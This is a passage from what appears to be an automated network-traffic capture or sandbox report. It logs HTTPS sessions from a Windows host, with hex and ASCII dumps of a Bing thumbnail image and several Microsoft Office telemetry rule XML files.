2024-12-06 23:15:52 UTC	16067	IN	Data Raw: d6 7d 49 ed 3c 8d 2f 4d b4 d2 ad 7c bf f8 f9 d4 be 79 bf ef cf ff 00 17 4d 8f 57 fb 14 db 12 cf ed be 5c 7f bc b9 ae 07 5c b9 d6 b5 5f de 6a fa f5 dc 9e 67 fc b3 b6 fd cc 3b 3f cf 4a e3 75 cf 17 68 5a 64 32 43 3d e6 a1 e7 47 fe ae de 29 77 ff 00 df 7f dd af 3b eb 94 5d f9 62 df f5 dc f4 de 16 ba 77 94 ac be ff 00 c3 42 d7 8a b5 0f f8 5a be 13 b6 87 51 f1 26 9f 67 e2 6d 0a 37 fd dd f4 4e 9f db 6b ff 00 3d 92 e7 1f bc 76 fe ec 9f 45 ae 23 49 f1 3f 8c 2e a1 8d 34 bd 63 51 b7 9f 4e ff 00 59 f6 6b bf 25 fc af f6 bf bf ff 00 02 af 55 d7 f4 cf 0b ea 0b a6 ff 00 c2 50 74 3b 7f f4 9f b2 59 78 c3 c3 57 5f 3d a6 df f5 6b a8 da 37 e8 eb f3 2d 73 ff 00 b4 17 80 3c 7b a1 ea 5f db 1e 28 87 50 d6 5e 3b 74 fb 37 88 ed b4 fd 96 97 71 27 cb fb c7 55 fb ff 00 f8 f7 fb d5 f0 Data Ascii: }I</M\|yMW\\_jg;?JuhZd2C=G)w;]bwBZQ&gm7Nk=vE#I?.4cQNYk%UPt;YxW_=k7-s<{_(P^;t7q'U
2024-12-06 23:15:52 UTC	16384	IN	Data Raw: 9c ea 5d 43 dd 4b b6 e7 27 f1 8a fb e2 3e a1 f6 9f ed 6b 43 a5 43 a8 48 f1 ff 00 67 47 2e f7 f2 93 e6 f9 e6 fe 3f 7f ef 1e b5 e6 10 5c 49 63 75 27 d9 a6 f9 f6 6c f3 23 ff 00 6b fb ad 5e a7 f1 8f e2 04 7e 2f d4 23 f0 e6 83 2c b0 78 66 de e5 1e fb 50 31 7e fa e3 e7 ff 00 d0 3f ba 9f c7 5c 56 b5 a5 59 5e f8 ee 3d 07 49 31 69 e2 e2 e3 c8 8f cd 97 e4 b1 5f fa 6a ff 00 c6 eb fc 6c bf 4a f5 23 17 ca 9a 47 0c 24 94 9c 25 e6 fd 17 99 0c 76 d7 be 1f f0 0c 5a d0 fd db eb 52 3a 69 ff 00 df db 17 de 97 ff 00 65 5f 7e 6b d9 7c 0b f0 e3 ec 5f d8 bf 10 bc 0b a8 df fd bb ec db ee 6c f5 19 5f 65 de e4 fd e4 7b be fe d6 35 cd 5d fc 36 d7 75 8f 0c c7 ad 78 b7 c4 96 b6 fa 5d 9c b6 d6 9a 74 87 67 93 3d 9b 7c bb e2 93 a2 7f bb ff 00 7d 57 d0 f6 ba 2c 1a 7e 93 63 a4 59 4d 77 6f Data Ascii: ]CK'>kCCHgG.?\Icu'l#k^~/#,xfP1~?\VY^=I1i_jlJ#G$%vZR:ie_~k\|_l_e{5]6ux]tg=\|}W,~cYMwo
2024-12-06 23:15:52 UTC	16384	IN	Data Raw: ae fd ee d0 bb 7d cd bd d7 f8 fe ef cb 5c d2 45 53 c7 7a e9 f2 4d fb f4 f2 f6 79 72 55 c5 24 44 fd f5 dc da 7b 28 b4 eb a9 34 e4 bc b5 bc 87 50 91 3f d3 6c a5 7f 2b c8 ff 00 6a 2d bf 3f f7 bd 6b 52 3d 4f 4c 7d 0e fb 45 d5 25 9a e7 47 9f 7c fa 75 c5 9c 49 e7 58 ca af f2 fc ad ff 00 2c e4 5f bd 59 36 36 b7 1a 9d 9f db 34 99 b3 75 66 8f 24 9a 7c 7b f7 c7 17 fc f5 8f fa ed f9 a9 60 9a d2 f6 c2 3b 5b ad 46 3b 7f b3 c1 14 76 4e 7e 78 a3 fd f7 cf f3 af dc 1f c6 68 d1 ab 18 bb dd 49 ad 48 6d 6e 75 7d 0b 4f 93 4f 78 ae e3 b4 d5 23 fd e4 7f 7e de ed be fa 37 f7 5b fe 03 cd 66 5b c4 f6 92 47 76 f6 be 64 3f fa 1d 76 9e 1d bb 4f 08 f8 ea 4d 1f c4 9a 4c 5a c5 8c 77 1f e9 1a 7f 9b f6 88 6e ff 00 b9 24 7f ef 7f cf 44 e7 6d 54 f1 17 f6 6c fe 18 92 ef 4b d4 63 8e 19 2e 5e Data Ascii: }\ESzMyrU$D{(4P?l+j-?kR=OL}E%G\|uIX,_Y664uf$\|{`;[F;vN~xhIHmnu}OOx#~7[f[Gvd?vOMLZwn$DmTlKc.^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49848	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:51 UTC	346	OUT	GET /th?id=OADD2.10239360492574_10ZLIEYNNW01DP6QS&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 23:15:52 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 653514 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 51C789D717574825919358A6E89F406B Ref B: EWR30EDGE0318 Ref C: 2024-12-06T23:15:51Z Date: Fri, 06 Dec 2024 23:15:51 GMT Connection: close
2024-12-06 23:15:52 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1c 4e 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 33 3a 32 36 20 32 32 3a 30 32 3a 30 39 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``NExifMM*bj(1r2i``Adobe Photoshop 24.2 (Windows)2023:03:26 22:02:098
2024-12-06 23:15:52 UTC	16384	IN	Data Raw: 6c 8b 52 6e f7 a6 d5 44 92 bc 91 7f 1d 51 9d 77 d6 a4 9f 3d 57 f2 bf bf 57 13 39 47 53 1a 78 b7 d5 59 20 ad bb a8 2a 9c 90 55 a9 33 9e 74 f5 d0 cb 92 3f dc d4 5b 2b 46 48 bf b9 50 79 55 a2 77 31 71 68 a4 f5 1c 91 49 57 a4 8f f7 d5 1b ac 75 49 8a da 33 3e 48 a9 be 53 d5 f9 22 a6 48 bb 3e 4a a3 3e 54 53 f2 e8 db 56 bc 8a 74 90 55 73 07 22 b9 46 45 ff 00 59 4c f2 a4 ab f2 41 47 91 b2 8e 64 4b 56 28 47 15 4b 1c 15 72 3b 6f ef d5 a8 2c ff 00 8d e9 4a 48 bb 36 53 8e cf 7d 58 8e ce 34 ab fe 55 3a 38 bf 8e b2 94 99 d3 1a 49 2d 4a 5f 63 a6 c9 6d fd fa d6 db fb 9a 6c 91 fe e6 a5 4d 8f d9 a3 9f 92 ce 99 1c 1f dc ff 00 57 5b 32 5b 47 e7 54 5e 47 fd fc ad 39 d9 8a a6 96 a5 08 e3 ab 10 45 be ae 47 07 ee 6a 5b 58 2a 5c 82 30 4f 52 28 22 db 53 f9 55 76 08 a9 de 44 75 95 Data Ascii: lRnDQw=WW9GSxY U3t?[+FHPyUw1qhIWuI3>HS"H>J>TSVtUs"FEYLAGdKV(GKr;o,JH6S}X4U:8I-J_cmlMW[2[GT^G9EGj[X\0OR("SUvDu
2024-12-06 23:15:52 UTC	16384	IN	Data Raw: 31 eb b7 3a 84 b2 d8 c6 83 e6 58 a4 48 e1 0e 92 1c 74 fb ad cd 79 9f fc 23 1f 0c b5 2f 12 4d a9 da 7f c2 a3 4b a8 e3 74 b2 b4 f0 e7 8e ae 74 e8 bf d9 9a 48 59 55 37 21 fe eb 57 d7 1e 28 86 6b cf 0f 6a 56 b6 57 72 d9 df 49 65 70 96 d7 31 fd fb 79 5d 08 57 5f f6 ab e5 8f d9 ef e0 ff 00 c2 6f 12 f8 3f c2 fe 20 bb f8 7d 6b fd b7 6f be 4d 5a 2b 6d 6e 69 92 d1 e2 7d 9b ee a3 7f 9b cd 67 ff 00 96 1f ef 66 bb 30 f5 2d 1e 6d ac 70 e2 61 77 ca dd ef dc aa bf 04 e0 f8 f3 a8 5c dc de f8 8e 1d 2e fb c1 36 ef a0 fd 9b 4d 8a 69 bc f9 57 e7 8e 7f 32 77 66 78 9b 7f df fe 25 ae 87 e0 8f c3 dd 3f e0 77 c5 28 74 5d 17 e2 2c 57 5a af 88 74 e9 60 1a 36 a3 68 eb 0f da 21 4f 32 5f de c7 b5 3e 8a dc d7 bd 78 83 4c b4 d5 7c 27 73 a0 cd 0c b6 d6 b7 b6 4f 69 fe 83 2f d9 e6 b7 89 93 Data Ascii: 1:XHty#/MKttHYU7!W(kjVWrIep1y]W_o? }koMZ+mni}gf0-mpaw\.6MiW2wfx%?w(t],WZt`6h!O2_>xL\|'sOi/
2024-12-06 23:15:52 UTC	16384	IN	Data Raw: e9 3e 1b b3 f3 af 2e a4 ff 00 44 d3 ed e4 97 e5 8d 7e f6 c4 fe ea d7 dc 5f b2 fe 9b e2 1f 0c 7c 2e 8f c2 3e 2e d3 be c7 75 a1 5c bc 71 dc 99 51 ed ee 20 6f de 2f 96 cb fd de f5 e3 3f 04 fe 1f 78 2a e3 c6 da 0d ac 1a 3e b7 6f e2 4f 0b 69 5f da da ec 72 cb b1 2f ee be f4 11 2f fc f3 8c fd ed e3 ef 2d 7d 35 e0 7d 43 fe 12 3b 4f ed 17 d3 75 0d 3a 4f 93 cc b2 be 87 63 ef 6f fd 0a 96 27 9b 95 dd 19 d0 a8 a7 25 ca fd 0b 9e 26 d0 74 df 16 e9 57 3e 14 f1 24 56 b7 9a 5e a1 1f fc 7b c9 bf 7c 8e bf c5 ff 00 00 f9 1b 8f f8 15 7c 7d fb 4e f8 2b c3 bf 08 f4 d9 bc 2f e1 4f 05 dc dd 2d fd 9c 3f 6d f1 7e ad 2f da 37 ab 37 fc bb 22 fc b0 7c d8 5f 33 fe 03 5f 45 7c 74 f8 c3 f0 6f c1 1a 87 fc 22 fe 2d 86 eb 59 d5 25 b6 fb 1e a3 6f 65 17 ef 6d 2d 67 ff 00 5b be 5e 3a af fc b3 Data Ascii: >.D~_\|.>.u\qQ o/?x*>oOi_r//-}5}C;Ou:Oco'%&tW>$V^{\|\|}N+/O-?m~/77"\|_3_E\|to"-Y%oem-g[^:
2024-12-06 23:15:52 UTC	16384	IN	Data Raw: b1 d3 20 b4 d4 2f b5 1f 26 1f 3e f7 67 99 27 95 f3 fc bf ed 54 b6 b5 d4 a4 94 92 64 bb 77 fc 95 42 75 82 de 19 5e 7f f5 7f f2 d2 ae c8 db 3e 7a cf 9e 59 3c ef fa 61 e5 ff 00 ab aa 44 d5 92 48 d0 82 5f dc ff 00 d3 49 29 d3 ff 00 ab ac 9d 2b 50 8e e3 fe 3c a6 fb 42 47 27 97 24 91 7f cb 3a d4 8e 58 e8 94 39 59 50 a8 a6 b4 33 f5 2b 38 ef 6d 3c 8b df f5 12 48 9f bb ff 00 9e 9f ec d5 a8 fc b8 be 4a 24 8b cd bb de ff 00 f2 ce 89 22 d9 36 f7 a3 a1 8a 8a 57 68 9a 36 a9 23 f2 fc 9f 9e aa ce bf dc a2 35 93 c9 f9 e8 35 8c b9 59 62 49 60 48 6a ad f4 b2 7f cb 0f dd d4 52 2d 73 ba 6f 89 75 1b ef 1b 5b e9 f6 5a 44 df d8 fe 5c d2 5c de cb fe cf ca 9b 3f e0 55 51 a6 da 76 22 55 96 cc e8 a3 f3 ff 00 8f fd 65 1f 69 92 de 19 27 7f f5 71 c7 e6 49 57 63 9e 09 6a 95 f3 47 2c d2 Data Ascii: /&>g'TdwBu^>zY<aDH_I)+P<BG'$:X9YP3+8m<HJ$"6Wh6#55YbI`HjR-sou[ZD\\?UQv"Uei'qIWcjG,
2024-12-06 23:15:52 UTC	16384	IN	Data Raw: b8 a9 f3 55 69 74 ee 8d 3b 5b 38 ed fe e7 ef 24 ff 00 9e 92 fd fa 97 6c 94 5d 45 3c be 5f d9 66 fb 17 97 27 ef 3f 74 8f e6 7f b3 f3 7d da b1 be 4a e4 72 6d 9e 8c 62 92 b2 2b c9 1f f7 ea be ab a6 41 a8 43 e4 5e d9 c3 71 07 98 92 79 72 fc ff 00 3a fd da d0 ff 00 96 db df fe d9 d3 23 f9 e6 d9 ff 00 2d 28 e6 77 09 45 35 66 41 e5 3f 93 f3 d3 37 47 2c d2 22 43 37 ee ff 00 ef 8a bb 3b 47 14 32 3b ff 00 cb 3a a5 04 ff 00 6d b3 8e ea ca 19 bf d2 3f 79 fb d8 9e 17 ff 00 be 7a d1 72 25 65 a7 50 9f cb 48 a5 df fb c8 eb 92 f1 37 8c ed 34 a9 a4 4f b1 fd a2 7f f5 76 56 f1 7d fd 4e 76 fb 91 a7 f7 57 d5 aa e7 89 bc 4d 1e 99 0d cd ad af 93 a8 ea b1 fe ef ec d1 7d c8 df fd a6 fe f7 fb 1f 7a bc d2 3d 06 58 75 fb 8f 0f 59 6a 30 dc 7c 44 d5 6c de 7b dd 47 e7 4b 4f 0f 59 b7 df Data Ascii: Uit;[8$l]E<_f'?t}Jrmb+AC^qyr:#-(wE5fA?7G,"C7;G2;:m?yzr%ePH74OvV}NvWM}z=XuYj0\|Dl{GKOY
2024-12-06 23:15:52 UTC	16384	IN	Data Raw: bd be 1f f9 68 fb 7e ea ed dd ed 5d 90 bc 28 e8 ad dd 9e 45 5b 4e bd a4 ee 97 4f 43 aa f1 77 8c 63 b8 d2 7c bf 08 78 5a ef 59 d1 ec f6 79 97 31 4b f6 1b 19 13 ee f9 31 36 37 4b ff 00 01 ff 00 c7 a9 7e 1e ea 11 ea 07 5b d4 e7 86 1b 68 2d f6 47 24 96 3f e8 d6 9e 6a a6 dd 92 5d 37 cd 3c ab d3 fb 89 fe f5 79 6f 8a 3c 61 7d e2 4d 63 c9 d4 3c 45 a8 5e d8 f9 9f f1 fb 2c 4f 63 67 b3 fb 96 90 2f cc ab db 7f cd 23 7f 0e da b0 8b e2 2d 7f 5c 93 c2 5e 07 bc ba b8 b5 b7 b2 4b 79 3e d3 17 d9 2c 74 98 8f fc f3 8d 3f d5 bf fb db a6 ff 00 76 8f ab da 9a 4f 4b 9b 7b 77 3a ce da f2 da c8 b9 f1 47 c7 5a 86 91 a3 47 04 3a e6 93 26 a1 71 70 ff 00 69 d1 b4 4d ff 00 66 fe ea a3 cb fe ba f2 6f 5f ba ab 5e 4f f1 be 0f 19 e9 fa d6 8b 27 89 ae e2 8e f6 4b 6f b5 5b e9 d1 fc bf d9 ab Data Ascii: h~](E[NOCwc\|xZYy1K167K~[h-G$?j]7<yo<a}Mc<E^,Ocg/#-\^Ky>,t?vOK{w:GZG:&qpiMfo_^O'Ko[
2024-12-06 23:15:52 UTC	16067	IN	Data Raw: 4a 96 38 a4 96 2f f9 e7 0c 7f f3 ce a9 45 23 96 75 5c 9f 34 8a be 6a 7d f7 8b cc 4f fa 67 4d b5 81 de 69 25 f2 bc bf 33 ff 00 1c 5a 96 ce da 37 ba 91 de 28 bf e7 9c 7f c1 ff 00 02 6a b8 f1 25 bc 1b 04 de 67 97 f3 f9 9f 72 9b 14 e4 a0 bd de a5 1d 51 0f 99 e4 cd f7 e3 db fb bf fd 06 8a 2e ad 9d a4 de bf bb 49 3f e5 a4 9f c7 45 4c a3 77 72 e2 fd d5 a9 d5 f8 d7 c5 53 6b 5a 85 8c ff 00 f0 82 ea 3a 7f 85 34 79 52 de de ca da 1f b3 b4 f2 fd e5 47 7d bf 2a 7f b3 5b 5e 15 bd b8 f1 0e b7 73 0f 84 7c 09 16 8d ac 49 fb fb 8d 47 ed 5f 69 97 4d 83 ee 32 42 ac bf ba 66 ff 00 6b e6 db d2 ba 1f 87 be 21 d5 3c 25 a5 c7 ba ca 6d 43 4d b8 3e 65 cd b4 ba 05 fc 5e 47 fd 34 59 66 6d b9 35 35 8f 8c 35 3d 56 f3 52 1e 15 f1 7e 89 ae a4 96 ee f2 e8 37 3a 4a 5a 3d f6 df ee 6d fb ed Data Ascii: J8/E#u\4j}OgMi%3Z7(j%grQ.I?ELwrSkZ:4yRG}*[^s\|IG_iM2Bfk!<%mCM>e^G4Yfm555=VR~7:JZ=m
2024-12-06 23:15:52 UTC	16384	IN	Data Raw: e7 4d b5 54 58 77 ff 00 1c 94 e9 e4 86 59 b0 e7 cb ff 00 ae 94 cf 37 ce fb b4 d3 b3 1e bc bb 05 c7 f7 ea 26 5f ee 54 d7 0d fe ad 12 9d 6e cf fb c7 ff 00 a6 74 09 3b 44 af f3 fd c7 a5 fb d2 48 89 4c db bb ee 55 ab 15 4f 2f 67 95 e6 79 94 db b9 a4 9d 95 c8 6d ed bf bf 56 3e ef c9 52 fd df 91 3e fd 45 b5 df ee 45 ff 00 6d 28 4e c6 2e 4e 4f 50 dc 8d f2 7f ac a9 7e c7 f6 88 bf f4 65 3e d6 28 60 8f 7b fe f3 ff 00 64 ab 4b bd a3 df 49 ab 18 ce a3 8f c2 45 b5 21 8f c9 86 ab b6 c8 63 f9 bf f2 25 5b b8 6b 75 96 47 49 7c ca a9 70 8e d1 ef 73 f3 d6 81 4d a7 b9 9d 75 2f f1 d3 20 ab 1e 52 34 9f ea aa ed bf ee 6d 7e 43 f3 ff 00 cf 3a 9e 53 ae 53 51 8d 92 2b a2 a2 c9 56 3c af e3 86 2f 2d ff 00 e5 9f fc 06 9d 6b 6c 90 f9 9f f2 d3 fc fd ea 96 38 36 fc f3 fd fa 2c d9 cd 2a Data Ascii: MTXwY7&_Tnt;DHLUO/gymV>R>EEm(N.NOP~e>(`{dKIE!c%[kuGI\|psMu/ R4m~C:SSQ+V</-kl86,*
2024-12-06 23:15:52 UTC	16384	IN	Data Raw: ff 00 57 bf fd 65 55 d4 ae a1 b2 b5 92 7d 42 6f 2e 18 e3 ff 00 bf 9f ec ad 58 f1 23 e8 76 96 b2 5d 78 96 6b b8 e3 b7 93 fe 3d a2 ff 00 5b 77 2f f7 2b 06 49 b5 af 10 eb 5b d2 d3 ec f3 27 ee fc c9 23 fd ce 99 17 f7 63 dd f7 a6 3f de af 07 15 9d 35 27 1a 0b 6e bf e4 7b 38 5c ad b8 c6 75 34 5d bf e0 ff 00 c0 32 35 0b c8 ee fc 57 1c d3 f9 b2 41 67 fb c8 e3 92 5f e2 fe 0f fc 7a af 78 83 4d d4 ae f5 08 ae b5 7b cf 32 48 f6 79 9f 69 97 e4 b7 ff 00 be 45 74 3a fc 1a 57 84 3c 3f f6 dd 47 c9 b8 f3 3f e3 da da 2f bd 3c bf ed 3f b7 b5 79 7f 8a bc 49 a9 dd 34 96 8f e6 db c3 ff 00 3c eb c3 55 7d b4 9c ef 73 e8 70 94 ea 38 a5 15 65 b1 7f c6 97 d0 36 b9 73 f6 5d 5e ee f6 c6 3d 9f 66 92 5f fe 26 b0 b4 bd 3e fb 5b ba 8e 1b 18 bf d5 fc f2 49 ff 00 3c ff 00 db 91 ea ee 8f a0 Data Ascii: WeU}Bo.X#v]xk=[w/+I['#c?5'n{8\u4]25WAg_zxM{2HyiEt:W<?G?/<?yI4<U}sp8e6s]^=f_&>[I<

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:53 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:53 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:53 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dea1083a-301e-0051-14cb-4538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231553Z-1746fd949bdkw94lhC1EWRxuz4000000050000000000ghnk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:53 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:53 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:53 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:53 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a85144f8-201e-0033-7f03-48b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231553Z-r1cf579d778mvsklhC1EWRkavg00000000w0000000009y11 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:53 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:53 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:53 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:53 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 8a7a9c83-801e-0078-4106-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231553Z-r1cf579d778zvkpnhC1EWRv23g00000000y0000000005y35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:53 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:53 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:53 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:53 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3fcff9c6-e01e-0052-0a03-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231553Z-1746fd949bdlqd7fhC1EWR6vt0000000050000000000gprp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
